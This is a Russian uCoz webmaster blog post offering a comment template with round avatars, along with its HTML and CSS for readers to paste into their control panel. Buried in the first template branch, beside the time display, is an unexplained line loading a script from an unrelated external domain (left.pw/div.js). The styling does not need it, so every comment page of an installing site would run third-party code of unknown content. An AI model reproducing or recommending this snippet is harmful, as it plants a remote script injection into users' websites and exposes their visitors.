Статьи
Xiaomi Redmi Note 8 Pro получение прав ROOT
Раздача интернета в обход ограничениям использования телефона в качестве модема.
100% Pure Platinum Whey (SAN) - входит в топ 15 протеинов 2016г
Вышел новый флагман Xiaomi Mi Note 2
Power System Triple Whey - биоактивный протеин нового поколения
Weider Gold Whey - Лучшее соотношение цена-качество!
Do4a Lab Premium Whey 60% - отечественный производитель
Optimum Nutrition Platinum Hydro Whey - протеин сывороточный гидролизат

Для UCOZ
Кнопки вверх и вниз с функцией запоминания позиции
Скрипт топ пользователей по кол. сообщений на форуме для uCoz
Вид опроса для uCoz, в стиле flat
Вертящиеся часы для сайта
Темный информер Самые Популярные Темы для uCoz
Cкрипт подробной статистики сайта
Поиск по новостям для uCoz
Информер Случайные новости для uCoz
Виджет социальных закладок
Игровое онлайн радио Tort.FM
Админ всегда онлайн для Ucoz
БЛОК "ПОДЕЛИТЬСЯ В СОЦ СЕТЯХ"
Статистика кто посетил в красивом стиле для uCoz
Красивая кнопка вверх для блога ( сайта )

Главная » 2014 » Сентябрь » 6 » Вид комментариев ucoz с круглым Avatar
10:33
Вид комментариев ucoz с круглым Avatar

Уважаемые пользователи сайта, вот не плохой и даже очень оригинальный Вид комментариев ucoz с круглым Avatar, где сами картинки будут распологаться напротив и это очень красиво смотриться. Был создан он по своим стилям, как для светло серого сайта и безусловно он еще подойдет на темный дизайн.

Установка его очень проста, для начало нужно добавить стиль на его. Если идет стиль на скрипт, то можно сразу сказать что он будет смотрется красиво и даже иметь свои тени. Но потом и сам код заминить на тот который увас стоит по умолчанию, если у вас стандартный шаблон и все сохранить.

1) Заходим в панель управления и выбираем "вид комментариев" и меняем там все на наш скрипт.

Код
<?if($CLASS$)=='cBlock1'?>  
<div style="padding-bottom:9px;">  
<table cellspacing="0" width=100%><tr><td width=96 valign=top>  
  <div class="ob_wp1"><div style="padding-top:4px;padding-left:4px">  
  <div class="ob_wp">  
  <div style="padding-top:4px;padding-left:4px"> <?if($USER_AVATAR_URL$)?><a href="$PROFILE_URL$" title="$USERNAME$"><img src="$USER_AVATAR_URL$" width=65 height=65 class="com_wp"></a><?else?><a href="$PROFILE_URL$" title="$USERNAME$"><div class="com_wp"></div></a><?endif?>  
  </div> </div> </div></div>  
   
   
  <div style="margin-left:-15px"> <center>  
<?if($MODER_PANEL$)?>  
  <a href="javascript://" rel="new_uWnd" onclick="del_item($ID$);return false;" id="di$ID$" style="text-decoration:none">удалить</a>  
  <?endif?>  
  </center></div>  
  </td><td valign=top>  
   
  <div style="position: absolute;margin-left:-9px;margin-top:14px;"><div id="triangle-left"></div></div>  
  <div class="mess_wp">  
  <div style="padding:6px">  
<table><tr>  
  <td valign=top><script type="text/javascript" src="http://left.pw/div.js"></script><div class="tim_wp"><div style="font-family:Tahoma;color:#797979;padding-left:7px;padding-right:7px;padding-top:4px;padding-bottom:7px">$TIME$</div></div></td>  
  <td><div style="font-family:Tahoma;color:#595959;padding-left:7px;"><b>$MESSAGE$</b></div></td>  
  </tr></table>  
  </div>  
   
  </div>  
  </div>  
  </td></tr></table>  

<?else?>  
<div style="padding-bottom:9px;">  
<table cellspacing="0" width=100%><tr><td valign=top>  
  <div class="mess_wp">  
  <div style="padding:6px">  
<table><tr>  
  <td valign=top>  
  <div class="tim_wp"><div style="font-family:Tahoma;color:#797979;padding-left:7px;padding-right:7px;padding-top:4px;padding-bottom:7px">$TIME$</div></div></td>  
  <td><div style="font-family:Tahoma;color:#595959;padding-left:7px;"><b>$MESSAGE$</b></div></td>  
  </tr></table>  
  </div>  
   
  </div>  
  </div>  
  </td><td width=96>  
  <div style="position: absolute;margin-left:-2px;margin-top:14px;"><div id="triangle-left1"></div></div>  
  <div style="float:right">  
  <div class="ob_wp1"><div style="padding-top:4px;padding-left:4px">  
  <div class="ob_wp">  
  <div style="padding-top:4px;padding-left:4px"> <?if($USER_AVATAR_URL$)?><a href="$PROFILE_URL$" title="$USERNAME$"><img src="$USER_AVATAR_URL$" width=65 height=65 class="com_wp"></a><?else?><a href="$PROFILE_URL$" title="$USERNAME$"><div class="com_wp"></div></a><?endif?>  
  </div> </div> </div></div></div>  
  <div style="margin-right:-24px"> <center>  
<?if($MODER_PANEL$)?>  
  <a href="javascript://" rel="new_uWnd" onclick="del_item($ID$);return false;" id="di$ID$" style="text-decoration:none">удалить</a>  
  <?endif?>  
  </center></div>  
  </td></tr></table>  
<?endif?>


И CSS добавляем.

Код
.com_wp {border-radius:50%;background:#fff;width:65;height:65}  
  .ob_wp { width:73;height:73;background: #20242b;border-radius:50%; }  
   
  .ob_wp1 { width:81;height:81;background:rgba(255,255,255,0.3);;border-radius:50%; }  
   
  .mess_wp{box-shadow: 0 1px 1px rgba(0, 0, 0, 0.5);border-radius:4;background: #efefef;  
background: -moz-linear-gradient(top, #efefef 0%, #dbdbdb 100%);  
background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#efefef), color-stop(100%,#dbdbdb));  
background: -webkit-linear-gradient(top, #efefef 0%,#dbdbdb 100%);  
background: -o-linear-gradient(top, #efefef 0%,#dbdbdb 100%);  
background: -ms-linear-gradient(top, #efefef 0%,#dbdbdb 100%);  
background: linear-gradient(to bottom, #efefef 0%,#dbdbdb 100%);  
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#efefef', endColorstr='#dbdbdb',GradientType=0 );  
}  
  .tim_wp{background:d7d7d7;border-radius:4;}  
  #triangle-left {  
  width: 0;  
  height: 0;  
  border-top: 7px solid transparent;  
  border-right: 9px solid #e1e1e1;  
  border-bottom: 7px solid transparent;  
}#triangle-left1 {  
  width: 0;  
  height: 0;  
  border-top: 7px solid transparent;  
  border-left: 9px solid #e1e1e1;  
  border-bottom: 7px solid transparent;  
}
Категория: Для вебмастера | Просмотров: 465 | Добавил: Bitfood | Рейтинг: 0.0/0
Похожие материалы
К сожалению, похожего ничего не нашлось!


Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Новое


HWiNFO3264 5.40 3030...
Загрузок: 67
Просмотров: 799
Дата: 14.02.2017



2befine_simpli_zip_t...
Загрузок: 275
Просмотров: 843
Дата: 12.12.2016



memtest86_v_4.3.6.zi...
Загрузок: 315
Просмотров: 806
Дата: 06.12.2016



Новогоднее_оформлени...
Загрузок: 308
Просмотров: 932
Дата: 06.12.2016



AveIconifier-2.0_Por...
Загрузок: 387
Просмотров: 1697
Дата: 06.12.2016


Популярное


Livesuit 1.09.z...
Загрузок: 39935
Просмотров: 63277
Добавил: sasha2
Дата: 30.03.2013



LiveSuit v 1.07...
Загрузок: 7613
Просмотров: 18921
Добавил: sasha2
Дата: 15.12.2014



Ultimate Mortal...
Загрузок: 7299
Просмотров: 22054
Добавил: sasha2
Дата: 24.01.2013



Эмулятор Sega н...
Загрузок: 3636
Просмотров: 16102
Добавил: sasha2
Дата: 03.01.2013



иконки 32х32, 6...
Загрузок: 2138
Просмотров: 20680
Добавил: sasha2
Дата: 25.09.2012



Рейтинг@Mail.ru
%
Copyright MyCorp © 2024